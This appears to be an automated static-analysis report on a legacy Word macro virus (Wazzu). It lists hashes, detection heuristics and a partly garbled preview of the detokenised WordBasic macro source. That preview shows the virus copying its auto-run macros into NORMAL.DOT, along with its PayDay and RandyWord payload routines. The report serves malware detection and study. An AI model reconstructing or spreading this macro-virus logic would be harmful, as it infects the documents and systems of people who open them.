Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e3cbdc0977f1446c…

MALICIOUS

Office (OLE)

8.0 KB First seen: 2012-06-14
MD5: b3aff074d93ff03b7d38673eef0a576c SHA-1: 19312fdf8f797bc0ceb81a94dd4f09e28830c7e4 SHA-256: e3cbdc0977f1446c903d5e8bc839e1229d87e18a1ce453a81e6c32a8442f6168
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The presence of 'RSN MACRO VIRUS' markers and the 'Goat' file designation strongly indicate a legacy macro virus. The embedded text and file structure point towards an attempt to infect or spread via document macros, consistent with older malware families.

Heuristics 3

  • ClamAV: Doc.Trojan.Wazzu-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Wazzu-6
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 1596 bytes
SHA-256: 371589cc7b9288296640e85114f0efa408001de2c783e5aa889dcfef776d0798
Preview script
First 1,000 lines of the extracted script
= = = = =       8300   ,  
    10272 25199 8233 29793  
      24933 8300 17253 29551 29551   8300    
17765    
21349      
    29793 20325     @cmd6420     29793 21605 29793 @cmd7365       29793  
    29793   19827 * ,   ,  
29797 ,         =
MAIN
      @cmd6f20      
, 16741
MAIN
, - * errCt
@cmd00d1 = 0
@cmd80d6 0
SaveAll
PayDay
@cmdc010
, - * 0
SaveAll
, - * errsaving
@cmd00d1 = 0
@cmd80d6 0
SaveMacros "autoOpen"
SaveMacros "FileClose"
SaveMacros "AutoExec"
SaveMacros "FileExit"
SaveMacros "FileSave"
SaveMacros "FileOpen"
SaveMacros "FileTemplates"
SaveMacros "ToolsMacro"
@cmd0056
dlg @cmd0056
dlg
MacroFile$ = @cmd80af @cmd8009 @cmd818e @cmd80b8 0 , 10
MacroFile$ = "NORMAL.DOT" @cmd0054 = 1
@cmdc010 @cmd6419 , - * 0
PayDay
, - * PayErr
@cmd800e 99 = 1
15
RandyWord
@cmd8116
sword$ = @cmd8015
@cmd001c
RandyWord
@cmd8012 sword$ = " "
16 20
@cmd80ab "C:*.*"
@cmdc010
, - * 0
RandyWord
, - * broken
@cmd0056
dlg @cmd004e
dlg
wordNum = @cmd8002 @cmd800e @cmd8006 dlg
@cmdc010
@cmdc003 wordNum
@cmdc010
, - * 0
SaveMacros M$
, - * cantsave
@cmd0056
dlg @cmd0056
dlg
fileMacro$ = dlg = "\" = dlg @cmd0700 ":" = M$
globMacro$ = "Global:" = M$
MacroFile$ = @cmd80af @cmd8009 @cmd818e @cmd80b8 0 , 10
MacroFile$ = "NORMAL.DOT"
@cmd80c2 globMacro$ , fileMacro$
@cmd80c2 fileMacro$ , globMacro$
@cmdc010
, - * 0
MAIN
, -
autoOpen = 25708 @cmd80a2 Save
, - * 0
MAIN
autoOpen = 25708 , - * cancelled
dlg @cmd0050
dlg
dlg
@cmd0050 dlg 25964
, - * 0
MAIN
, -
autoOpen = 25708 @cmd0053
, - * 0
MAIN
, -
autoOpen = 25708 @cmd80a0
, - * 0
MAIN
autoOpen = 25708 @cmd802c
MAIN
autoOpen = 25708 @cmd802c

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